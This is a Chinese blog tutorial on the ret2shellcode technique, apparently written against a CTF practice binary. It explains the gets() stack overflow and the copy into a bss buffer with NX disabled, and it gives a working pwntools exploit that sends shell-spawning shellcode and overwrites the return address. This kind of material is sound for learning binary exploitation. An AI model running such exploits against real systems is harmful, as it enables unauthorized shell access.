pwn by example(二)

ret2shellcode

原理

ret2shellcode需要我们控制程序执行shellcode代码。而所谓的shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。一般来说,shellcode都需要我们自己去填充。这其实是另外一种典型的利用的方法,即此时我们需要自己去填充一些可执行的代码。

而在栈溢出的基础上,我们一般都是向栈中写内容,所以要想执行shellcode,需要对应的binary文件没有开启NX保护。

实际利用过程

运行下这个程序发现,只有简单的输入

检查程序的安全保护措施,发现NX没有开启,也就是说栈中的数据有执行的权限哈,可以往栈中写数据。

  Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
放到ida里看一下

  gets((char *)&v4);存在明显的栈溢出漏洞

 strncpy(buf2, (const char *)&v4, 0x64u);

把用户的输入复制到buf2中。

分析可知,buf2是bss段。BSS(Block Started by Symbol)通常是指用来存放程序中未初始化的全局变量静态变量的一块内存区域。特点是:可读写的,在程序执行之前BSS段会自动清0。所以,未初始的全局变量在程序执行之前已经成0了。

控制程序执行shellcode,也就是读入shellcode,然后控制程序执行bss段处的shellcode

附exp:

from pwn import *
context.binary='./ret2shellcode'
p=process('./ret2shellcode')
shellcode=asm(shellcraft.sh())
buf_2=0x0804a080
p.sendline(shellcode.ljust(112,'a')+p32(buf_2))
p.interactive()



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值